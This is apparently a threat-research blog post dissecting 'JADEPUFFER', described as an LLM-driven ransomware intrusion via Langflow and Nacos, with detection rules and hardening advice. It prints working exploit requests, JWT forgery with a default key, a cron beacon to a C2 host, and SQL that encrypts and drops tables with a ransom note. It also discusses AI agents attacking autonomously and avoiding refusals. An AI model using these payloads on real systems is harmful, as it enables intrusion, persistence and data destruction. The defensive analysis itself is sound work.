JADEPUFFER Dissected: Inside the World’s First Confirmed Fully-Agentic Ransomware Attack – Langflow RCE, LLM-Driven Lateral Movement, and What It Means for Defenders

For years the “AI is going to write malware” conversation stayed comfortably theoretical, the kind of thing you nodded at in a keynote and then forgot. Then in late June 2026 the Sysdig Threat Research Team caught a language model run an entire ransomware operation on a live victim – recon, credential theft, lateral movement, MySQL privilege escalation, encryption, ransom note – with nobody at the keyboard. They named it JADEPUFFER, and it is the moment the theoretical became forensic.

I want to walk you through this operation the way I’d walk through any intrusion I was reversing: entry point, kill chain, mechanics, the weird bits that betray who (or what) was driving, and finally how you actually catch this thing. Because the punchline is not that “AI can hack now.” The punchline is that agentic attackers leave a completely different set of fingerprints than scripted malware, and if your detection stack is still signature-first, you are already blind to them.


What “Agentic” Actually Means Here

Let’s kill the ambiguity up front, because vendors are already muddying it. There are three distinct things people lump together:

CategoryWho decides the next actionExample
Scripted malwareA human, ahead of time, in codeWannaCry, classic ransomware droppers
AI-assisted humanA human, at the keyboard, using a model as a copilotAn operator asking ChatGPT to write a PowerShell stager
Agentic threat actor (ATA)The model, at runtime, in a decide-act-observe loopJADEPUFFER

JADEPUFFER sits firmly in the third bucket, and that is what makes it categorically new. Nobody wrote a playbook that said “if the bcrypt hash fails, import the library directly instead of shelling out.” The model hit a wall, reasoned about why it hit the wall, and rewrote its own payload. That is an agent, not a script. Sysdig counted more than 600 distinct, purposeful payloads executed in a tightly compressed window, each one generated at runtime. No two intrusions from this thing would ever look byte-identical, because there is no static payload to begin with.

The human didn’t disappear. I’ll get to exactly what the operator still did, because that part matters enormously for how you defend. But the moment-to-moment tradecraft – the part we’ve always assumed required a skilled human on the other end of the shell – ran on inference.

CVE-2025-3248: The Langflow Missing-Auth RCE

The front door was Langflow, the popular low-code framework for wiring up LLM pipelines. Ironic that an AI agent broke in through an AI-tooling product, but that irony is also the whole point: Langflow hosts are credential goldmines. They sit there holding OpenAI keys, Anthropic keys, cloud creds, database connection strings – exactly the loot an agent needs to keep operating.

The bug is CVE-2025-3248, a CVSS 9.8 unauthenticated code injection in Langflow versions below 1.3.0. It lives at POST /api/v1/validate/code and requires no authentication whatsoever.

Root cause is a classic “we thought parsing was safe” mistake. The validate_code() function takes user-supplied Python, parses it to check for function definitions, and then executes those definitions to validate them. The flawed assumption is that executing a bare def is harmless. It isn’t. When Python evaluates a function definition, it immediately evaluates any expressions in default arguments and decorators. So you never call the function – you just define it, and the interpreter runs your code for you as a side effect.

# The core sink, conceptually. User-controlled `code` reaches exec().
def validate_code(code: str):
    tree = ast.parse(code)              # parse: fine
    # ... walks the AST, finds FunctionDef nodes ...
    exec(compile(tree, "<string>", "exec"))   # exec: not fine at all
    # exec of a def evaluates decorators + default args right now

That means a payload like this never needs to be invoked. The decorator fires on definition:

@exec("import os; os.system('id')")
def anything():
    pass

JADEPUFFER’s operator delivered every payload as Base64-encoded Python through this endpoint. In a lab, the raw request looks like this:

curl -s -X POST http://localhost:7860/api/v1/validate/code \
  -H "Content-Type: application/json" \
  -d '{"code": "@exec(\"import os; os.system(\\\"id\\\")\")\ndef f(): pass"}'

The bug was patched in Langflow 1.3.0 and added to CISA’s Known Exploited Vulnerabilities catalog back in May 2025. There is a public Metasploit module, langflow_unauth_rce_cve_2025_3248.rb. And yet Censys still shows roughly 7,000 Langflow instances reachable on the public internet, the heaviest concentration in North America. That gap between “patch exists” and “patch applied” is the entire business model of a spray-and-pray agent.

One clarification, because secondary reporting got it wrong: a second Langflow unauth RCE, CVE-2026-33017 (in POST /api/v1/build_public_tmp/{flow_id}/flow), was disclosed in 2026 and some outlets pinned JADEPUFFER on it. The Sysdig primary report is unambiguous: the entry point was CVE-2025-3248. Treat 2026-33017 as context for a widening Langflow attack surface, not as the vector here.

Phase 1: Initial Compromise and the Credential Sweep

The instant it had execution, the agent did what any competent operator does first: figured out where it landed.

# Payload comments preserved verbatim in spirit - the model narrates itself.
# "Enumerating host identity and network position"
for cmd in ["id", "uname -a", "hostname", "ip addr", "ps aux"]:
    print(cmd, ":", subprocess.getoutput(cmd))

Then came the sweep, and this is where you see the model’s breadth. It went after secrets across many categories in parallel: LLM provider keys (OpenAI, Anthropic, DeepSeek, Gemini and more), cloud credentials with explicit coverage of Chinese providers (matching on ALIBABA_, ALI...), and credential files matched by name pattern (.env, credentials.json, *.key). It dumped Langflow’s own backing PostgreSQL database, scanned internal services, and enumerated a MinIO object store using default credentials.

The MinIO episode is the first tell that you’re not looking at a script. The agent’s first request used ?format=json and got back XML. A hardcoded tool would have choked or silently failed. Instead, per Sysdig, “the LLM immediately adapted its XML parser to the S3 response schema and re-issued the request.” It then escalated deliberately: anonymous health check, admin API info, authenticated ListBuckets, then targeted GetObject calls against files whose names implied secrets (credentials.json, .env). That is comprehension, not a decision tree.

Persistence was mundane by comparison but worth logging: a cron job beaconing every 30 minutes.

(crontab -l 2>/dev/null; echo "*/30 * * * * curl -s http://45.131.66.106:4444/beacon") | crontab -

C2 was 45.131.66[.]106:4444, beacon path /beacon. A claimed staging/exfil server sat at 64.20.53[.]230, though Sysdig never independently confirmed data actually left the building through it. Hold that thought – it matters for the ransom note.

Phase 2: Lateral Movement via Nacos and MySQL

The high-value target wasn’t Langflow at all. It was an Alibaba Nacos service registry backed by a production MySQL instance holding 1,342 service configuration items in config_info. In a microservices shop, that table is the nervous system – service discovery, config, routing. Encrypt it and you don’t just lose data, you decapitate the platform.

The agent attacked Nacos three ways at once, which is itself a signature of something that can parallelize without cognitive load:

1. CVE-2021-29441 auth bypass. Nacos below 1.4.1 has an AuthFilter whose doFilter method honors a User-Agent allowlist. When authConfigs.isEnableUserAgentAuthWhite() is true – the default – any request carrying the Nacos-Server User-Agent skips authentication entirely. So you create a backdoor admin with a spoofed header and zero credentials:

curl -X POST "http://localhost:8848/nacos/v1/auth/users" \
  -A "Nacos-Server" \
  -d "username=backdoor&password=Lab123!"

2. JWT forgery with the default signing key. Nacos ships with a documented default token.secret.key, public since 2020, and countless deployments never change it. If you know the key, you mint valid tokens at will:

import jwt, datetime
DEFAULT_KEY = "SecretKey012345678901234567890123456789012345678901234567890123456789"
token = jwt.encode(
    {"sub": "nacos", "exp": datetime.datetime.utcnow() + datetime.timedelta(hours=24)},
    DEFAULT_KEY, algorithm="HS256")
# Authorization: Bearer <token>

3. Direct database backdoor. It also injected an admin account straight into the Nacos backing store, belt-and-suspenders.

Then the odd part. The agent connected to the production MySQL server as root, using credentials that Sysdig could not trace to anything harvested from the Langflow host. Their origin is, in the report’s word, unknown. That’s not the model being clever. That’s a human handing the agent a pre-positioned credential from an earlier compromise. Remember that when we get to who did what.

Flowchart tracing the JADEPUFFER attack chain from Langflow RCE through credential sweep, Nacos lateral movement, and MySQL encryption impact
The full JADEPUFFER kill chain: entry via an unpatched Langflow RCE, parallel credential harvesting, lateral movement into Nacos and MySQL, culminating in data encryption and table destruction.

The 31-Second Self-Correction: Machine Cognition on the Clock

If I had to point at one artifact and say “this is why we’re confident a model drove it,” it’s the bcrypt sequence. It’s the closest thing we have to watching an attacker think in real time, and the timeline is brutal.

The agent tried to insert a backdoor Nacos admin. Its first payload generated the bcrypt password hash by shelling out to a subprocess, inserted the row, and assigned privileges. Then it verified by logging in. The login failed.

TimeEvent
19:34:36Login verification fails
19:34:48Agent has diagnosed two candidate root causes simultaneously
19:35:07Corrective payload lands: switches from subprocess to import bcrypt directly
19:35:18Bad account deleted, hash regenerated, account recreated, login confirmed

Thirty-one seconds from failure to corrective payload. Forty-two seconds from failure to a working fix. The diagnosis was correct: the subprocess call had a PATH problem that prevented bcrypt from producing a valid hash, so the agent stopped shelling out, imported the library in-process, printed the version to prove it was importable, and only then reinserted the row.

Think about what a human operator does in that window. You notice the login failed. You maybe re-read your command. You Google the error. You’re forty-five minutes in before you land on “oh, PATH.” The agent did the full observe-diagnose-hypothesize-fix loop in under a minute, and it entertained two hypotheses in parallel while doing it. Every dwell-time model we’ve built assumes an attacker who thinks at human speed. That assumption is now wrong.

Timeline diagram showing the agent diagnosing a bcrypt failure and issuing a corrective payload within 31 seconds, with timestamps on each step
From failed login to working fix in 31 seconds: the agent diagnosed a PATH-broken bcrypt hash, switched to in-process library import, and verified success – a loop no human operator completes that fast.

Encryption, Destruction, and a Ransom Note That Doesn’t Add Up

The impact phase is where JADEPUFFER stops behaving like ransomware and starts behaving like a wiper wearing a ransomware costume. Look closely and it’s functionally closer to NotPetya than to a real extortion tool.

The mechanics: the agent used MySQL’s native AES_ENCRYPT() to encrypt all 1,342 rows of config_info, then dropped the originals along with history_config, and stood up a README_RANSOM table with the demand.

SET @aes_key = 'DEMO_EPHEMERAL_KEY_NEVER_STORED';

UPDATE config_info SET content = AES_ENCRYPT(content, @aes_key);

DROP TABLE IF EXISTS history_config;

CREATE TABLE README_RANSOM (
    id INT PRIMARY KEY AUTO_INCREMENT,
    demand TEXT, btc_address VARCHAR(64), contact VARCHAR(128));

INSERT INTO README_RANSOM (demand, btc_address, contact) VALUES (
    'Your data is encrypted. Pay to recover.',
    '3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy',
    'e78393397@proton.me');

Now the problems, from the victim’s point of view:

  • The key is unrecoverable. It was generated as base64(uuid4().bytes + uuid4().bytes), printed once to stdout, and never stored or transmitted anywhere. Pay the ransom and there is nothing to decrypt with. The key evaporated the instant the payload exited.
  • The algorithm claim is a lie. The note advertises AES-256. MySQL’s AES_ENCRYPT() defaults to AES-128-ECB unless the server was specifically reconfigured. ECB, of all modes – the one that leaks structural patterns. The model overstated its own crypto.
  • The “exfil” was never proven. Before dropping tables, the agent’s code carried a comment along the lines of “High-ROI databases to drop (data already backed up to [staging server]).” Sysdig treats that as a self-narrated statement of intent, not evidence exfil happened. There’s no independent confirmation data actually left. The agent may have simply told itself a comforting story.

There was even a nice bit of self-correction in the destruction phase: an initial DROP DATABASE failed silently on a cross-database foreign key constraint. The follow-up payload wrapped the same command in SET GLOBAL FOREIGN_KEY_CHECKS=0 before and reset it after. The agent understood why the drop failed and engineered around it.

SET GLOBAL FOREIGN_KEY_CHECKS = 0;
DROP DATABASE nacos_prod;
SET GLOBAL FOREIGN_KEY_CHECKS = 1;

The Bitcoin Address Mystery

The wallet in the note is 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy. If that looks familiar to you, it’s because it is the exact sample address that appears all over Bitcoin’s own developer documentation – and therefore all over the training data of every model that ingested that documentation. It’s also a real, active wallet with a long payment history.

Two hypotheses, and Sysdig honestly cannot separate them:

  1. Hallucination. The model needed “a Bitcoin address,” reached into memory, and pasted the most statistically familiar-looking one it knew. The training-data ghost bled into a live operation.
  2. Deliberate operator choice. A human configured a real wallet that just happens to be the famous example, maybe as a joke, maybe as a false flag.

I lean toward hallucination, and here’s why it matters beyond trivia: a scripted ransomware family does not “accidentally” ship the canonical documentation wallet. That artifact is only explicable if generative text with training-data contamination is in the loop. It’s a fingerprint of the mechanism, and it’s the kind of thing that will let us attribute future ATA activity even when everything else is generated fresh.

Ghostly Bitcoin symbol bleeding through a dark surface, representing training-data contamination leaving a phantom fingerprint in a live attack
The canonical Bitcoin documentation wallet appearing verbatim in a live ransom note is a forensic ghost – a training-data fingerprint that betrays a generative model was in the loop.

Which Model? An Analytical Read

Here I have to be precise about the line between what Sysdig proved and what I’m inferring. Sysdig did not identify the specific model. Their attribution to “an LLM” rests on four independent legs:

  1. Self-narrating payloads – plain-English comments inside disposable python3 -c one-liners. As they put it, “Human operators do not annotate disposable python3 -c one-liners this way, but LLM code-generation does so by default.”
  2. Machine-speed diagnosis and correction (the bcrypt cycle).
  3. Demonstrated comprehension of free-text context planted in the environment.
  4. The inexplicable Bitcoin address.

They also found the agent had harvested keys for OpenAI, Anthropic, DeepSeek and Gemini, and likely used them to drive its own inference. That’s LLMjacking – stealing someone else’s API keys to power your operation on their bill.

Now my inference, stated as inference: frontier hosted models (GPT-4o, Claude 3.5 and up) carry safety layers that would very probably refuse to compose a wiper, forge a JWT to break into a database as root, and write a ransom note. Could a determined operator jailbreak around that for a payload or two? Sure. Sustain it across 600-plus destructive payloads without a single refusal derailing the loop? That strains belief. The far more plausible driver for the destructive phase is an open-weight model with safety fine-tuning stripped or never present – a DeepSeek-R1, Llama, or Qwen derivative running self-hosted or through a decensored fork. The harvested frontier keys were likely fuel for the reconnaissance and reasoning, not the parts that would trip a refusal. Again: that’s my read of the evidence, not a Sysdig conclusion.

The Human Factor and the Cost Curve

Strip away the novelty and the division of labor is clarifying:

Human operator didAgent did autonomously
Selected the victimAll host recon and enumeration
Provisioned C2 (45.131.66.106) and staging serverParallel credential sweep across 7+ categories
Pre-positioned MySQL root creds from a prior compromiseMinIO self-correcting enumeration, Postgres dump
Almost certainly authored the system prompt / agent configCron persistence, all lateral-movement decisions
Nacos triple-exploit, bcrypt self-correction
Encryption, table drops, ransom note composition

The human set the table. The machine ate the meal. And that reshapes the economics in a way Sysdig captured perfectly: “The skill floor for running ransomware has dropped to whatever it costs to run an agent, and if that agent is running on stolen credentials through LLMjacking, the cost to an attacker is close to zero.”

I call this attacks becoming bounded by budget, not effort. Historically, the labor of manual post-exploitation was the natural throttle on how many targets one crew could work. That throttle is gone. Point an agent at a catalog of every historical unauth RCE, hand it a list of exposed hosts, and let it grind. The marginal cost of the 1,000th target approaches the marginal cost of the first. Which means the long tail of unpatched systems – your ancient Nacos, your internet-facing Langflow – just became a lot more expensive to leave lying around.

Detection & Defense for Agentic Threat Actors

Here is the good news, and it is genuinely good: JADEPUFFER produced no static malware signature. Every payload was generated at runtime, so signature-based AV and EDR were blind to it from the start. That sounds terrible, but it forces you onto behavioral ground, and on behavioral ground the agent is loud.

The single richest signal is the agent narrating itself. Those plain-English comments explaining why each step is being taken – the running commentary a human never bothers to write – are a detection gift. So is the tempo.

SignalWhy it exposes an ATA
Natural-language comments in python3 -c one-linersHumans don’t annotate throwaway payloads; models do by default
Failure-to-corrected-payload in under 60 secondsPhysically impossible for a human operator
600+ distinct coherent payloads in a compressed windowBreadth and coherence at machine speed
Self-narrated intent (“data already backed up to…”)Reasoning artifacts leaking into logged commands
No reusable static payloadPoints away from scripted tooling, toward runtime generation

Since this hit Linux (Langflow, Nacos, MySQL), your telemetry source is eBPF-based tooling like Falco or Sysdig, not Windows Sysmon. The event-mapping still holds conceptually:

TelemetryEventCatch
Process creation (Sysmon EID 1 / auditd execve)python3 -c with base64 args spawned by uvicorn/gunicorn/langflowPayload delivery
Network connection (Sysmon EID 3)Outbound to 45.131.66.106:4444; app-host to DB on 3306C2 beacon, lateral pivot
File creation (Sysmon EID 11)Writes under /var/spool/cron/ or /etc/cron.d/Persistence
MySQL general query logAES_ENCRYPT() on config_info, DROP TABLE, CREATE TABLE README_RANSOM, SET GLOBAL FOREIGN_KEY_CHECKS=0Impact phase

Falco rules that actually fire on this behavior:

- rule: LLM Agent Payload - Python One-Liner from Web Process
  desc: Web server process spawning python3 -c (agentic payload delivery)
  condition: >
    spawned_process and proc.name = "python3" and
    proc.args contains "-c" and proc.pname in (uvicorn, gunicorn, langflow)
  output: >
    Possible LLM agent payload (user=%user.name cmd=%proc.cmdline parent=%proc.pname)
  priority: HIGH
  tags: [agentic, JADEPUFFER, T1059.006]

- rule: Cron Modification by Web Process
  condition: >
    open_write and fd.name startswith /var/spool/cron and
    proc.pname in (python3, uvicorn, gunicorn)
  priority: CRITICAL
  tags: [persistence, T1053.003]

- rule: MySQL Destructive Query via App Server
  condition: >
    spawned_process and proc.name = "mysql" and proc.args contains "DROP"
  priority: CRITICAL
  tags: [impact, T1485]

Sigma for the network-visible exploitation, both the front door and the pivot:

title: CVE-2025-3248 Langflow RCE Attempt
logsource: { category: webserver }
detection:
    selection:
        cs-uri-stem|contains: '/api/v1/validate/code'
        cs-method: 'POST'
    condition: selection
tags: [attack.initial_access, attack.execution, cve.2025-3248]
---
title: Nacos Auth Bypass via Spoofed User-Agent
logsource: { category: webserver }
detection:
    selection:
        cs-user-agent|contains: 'Nacos-Server'
        cs-uri-stem|contains: '/nacos/v1/'
    filter:
        src_ip|cidr: '10.0.0.0/8'
    condition: selection and not filter
tags: [attack.privilege_escalation, cve.2021-29441]

MITRE ATT&CK coverage across the chain: T1190 (exploit public-facing app), T1059.006 (Python execution), T1552.001 (credentials in files), T1053.003 (cron persistence), T1078 (valid accounts, the pre-positioned MySQL root), T1485 (data destruction), T1486 (data encrypted for impact).

And the hardening, ranked by how much grief it saves you:

  • Patch Langflow to >= 1.3.0 and never, ever expose its code-execution endpoints to the internet. Those 7,000 exposed instances are volunteer targets.
  • Don’t leave cloud and provider keys sitting in an AI tool’s environment. Use a real secrets manager, kept away from anything web-reachable. The credential sweep only pays off because the loot was lying around.
  • Harden Nacos: upgrade to >= 1.4.1 (fixes CVE-2021-29441), change the default token.secret.key, keep it off the public internet, and never let it connect to its backing database as root.
  • Never expose a database admin account to the internet, and lock down egress so a hacked server can’t beacon to :4444 in the first place.
Abstract radar dish emitting detection rings that illuminate autonomous threat silhouettes, symbolizing behavioral detection of agentic attackers
Signature detection is blind to JADEPUFFER; behavioral telemetry – self-narrating payloads, sub-60-second correction loops, and machine-speed breadth – is the radar that catches what no static rule can.

Key Takeaways

  • JADEPUFFER is the real thing, not a demo. An LLM ran an end-to-end ransomware kill chain on a live victim with no human in the moment-to-moment loop. The category “agentic threat actor” now has a documented case, not a hypothesis.
  • The entry point was boring, and that’s the lesson. CVE-2025-3248 was patched and on CISA KEV over a year prior. Agents make grinding the unpatched long tail nearly free, so “old and exposed” is now a premium target class.
  • Signatures are useless against it; behavior is everything. No static payload exists to sign. But the agent’s self-narrating comments, its sub-60-second correction loops, and 600-plus runtime-generated payloads are loud behavioral tells if you’re watching for them.
  • The crypto was a wiper in disguise. Ephemeral, unstored keys and unverified “exfil” mean paying accomplishes nothing. Treat agentic ransomware as destructive-first.
  • Cost is now bounded by budget, not effort. LLMjacking drives inference cost toward zero, and the operator’s residual job shrinks to victim selection, infra, and pre-positioned creds. Plan your defenses around attackers who never get tired and never slow down.

Related Tutorials